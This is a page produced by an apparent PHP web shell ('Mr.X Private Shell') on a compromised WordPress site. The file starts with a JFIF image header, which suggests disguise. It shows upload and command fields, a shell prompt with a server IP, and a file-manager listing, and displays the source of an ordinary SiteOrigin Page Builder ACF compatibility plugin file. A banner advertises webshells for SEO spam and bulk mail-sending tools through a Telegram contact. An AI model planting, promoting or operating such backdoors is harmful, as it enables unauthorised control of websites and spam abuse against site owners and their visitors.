����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
<?php
class SiteOrigin_Panels_Compat_ACF_Widgets {
	public function __construct() {
		add_action( 'admin_print_scripts-post-new.php', array( $this, 'enqueue_assets' ), 100 );
		add_action( 'admin_print_scripts-post.php', array( $this, 'enqueue_assets' ), 100 );

		// Widget Form Rendering.
		add_action( 'siteorigin_panels_before_widget_form', array( $this, 'store_acf_widget_fields_instance' ), 10, 3 );
		add_filter( 'acf/pre_load_value', array( $this, 'load_panels_widget_field_data' ), 10, 3 );

		// Widget Saving inside of Page Builder.
		add_filter( 'widget_update_callback', array( $this, 'acf_override_instance' ), 10, 4 );
	}

	public static function single() {
		static $single;
		
		return empty( $single ) ? $single = new self() : $single;
	}

	public function enqueue_assets() {
		if ( SiteOrigin_Panels_Admin::is_admin() ) {
			wp_enqueue_script(
				'so-panels-acf-widgets-compat',
				siteorigin_panels_url( 'compat/js/acf-widgets' . SITEORIGIN_PANELS_JS_SUFFIX . '.js' ),
				array(
					'jquery',
					'so-panels-admin',
				),
				SITEORIGIN_PANELS_VERSION,
				true
			);
		}
	}

	/**
	 * Extracts the widgets ACF fields, and ACF stores them and the instance.
	 *
	 * @param $the_widget The WP Widget Object.
	 * @param $instance The Panels widget instance.
	 */
	public function store_acf_widget_fields_instance( $the_widget, $instance ) {
		if ( ! empty( $instance['acf'] ) ) {
			$field_groups = acf_get_field_groups( array(
				'widget' => $the_widget->id_base,
			) );

			if ( ! empty( $field_groups ) ) {
				// Get all fields, and merge them into a single array.
				foreach( $field_groups as $field_group ) {
					$fields[] = acf_get_fields( $field_group );
				}
				$fields = call_user_func_array( 'array_merge', $fields );

				acf_register_store( 'so_fields', $fields );
				acf_register_store( 'so_widget_instance', $instance['acf'] );
			}
		}
	}

	/**
	 * Sets the ACF Widget Field values based on instance data.
	 *
	 * @param $value
	 * @param $post_id
	 * @param $widget_field The ACF object for the field being processed.
	 *
	 * @return string if set, the user defined field value.
	 */
	public function load_panels_widget_field_data( $value, $post_id, $widget_field ) {
		$fields = acf_get_store( 'so_fields' );
		$instance = acf_get_store( 'so_widget_instance' );

		if ( ! empty( $fields ) ) {
			foreach ( $fields->data as $field ) {
				if ( $widget_field['type'] != 'repeater' ) {
					if (
						$field['key'] == $widget_field['key'] &&
						! empty( $instance->data[ $field['key'] ] )
					) {
						return $instance->data[ $field['key'] ];
					}
				} elseif ( $field['key'] == $widget_field['key'] ) {
					return $instance->data[ $field['key'] ];
				}
			}
		}
	}

	/**
	 * Generates and filters out invalid fields and indexes from the ACF Widget fields array.
	 *
	 * @param $fields A possible array containing fields, or a string containing a field value.
	 *
	 */
	private function generate_fields_array( $fields ) {
		if ( is_array( $fields ) ) {
			foreach ( $fields as $field_id => $field ) {
				// If it's a cloneindex, or empty, don't keep it.
				if ( $field_id == 'acfcloneindex' || empty( $field ) ) {
					unset( $fields[ $field_id ] );
					continue;
				}
				$fields[ $field_id ] = $this->generate_fields_array( $field );
			}
		}

		if ( $fields != '' ) {
			return $fields;
		}
	}

	/**
	 * Restores initial ACF form data to prevent saving issue in non SOWB widgets.
	 * Supports arrays to account for field types like the repeater.
	 *
	 * @param $instance The updated widget settings.
	 * @param $new_instance An array of new settings.
	 * @param $old_instance An array of old settings.
	 * @param $the_widget The current widget instance.
	 *
	 */
	public function acf_override_instance( $instance, $widget, $old_widget, $the_widget ) {
		// Ensure widget update is from Page Builder and there's ACF data present.
		if ( ! empty( $widget['panels_info'] ) && ! empty( $widget['acf'] ) ) {
			$instance['acf'] = $this->generate_fields_array( $widget['acf'] );
		}

		return $instance;
	}
}

Filemanager

Name Type Size Permission Actions
js Folder 0755
acf-widgets.php File 3.97 KB 0644
amp.php File 297 B 0644
error_log File 11.36 KB 0644
gravity-forms.php File 731 B 0644
jetpack.php File 1.35 KB 0644
layout-block.php File 4.82 KB 0644
lazy-load-backgrounds.php File 2.05 KB 0644
polylang.php File 308 B 0644
widget-options.php File 1.04 KB 0644
yoast.php File 2.56 KB 0644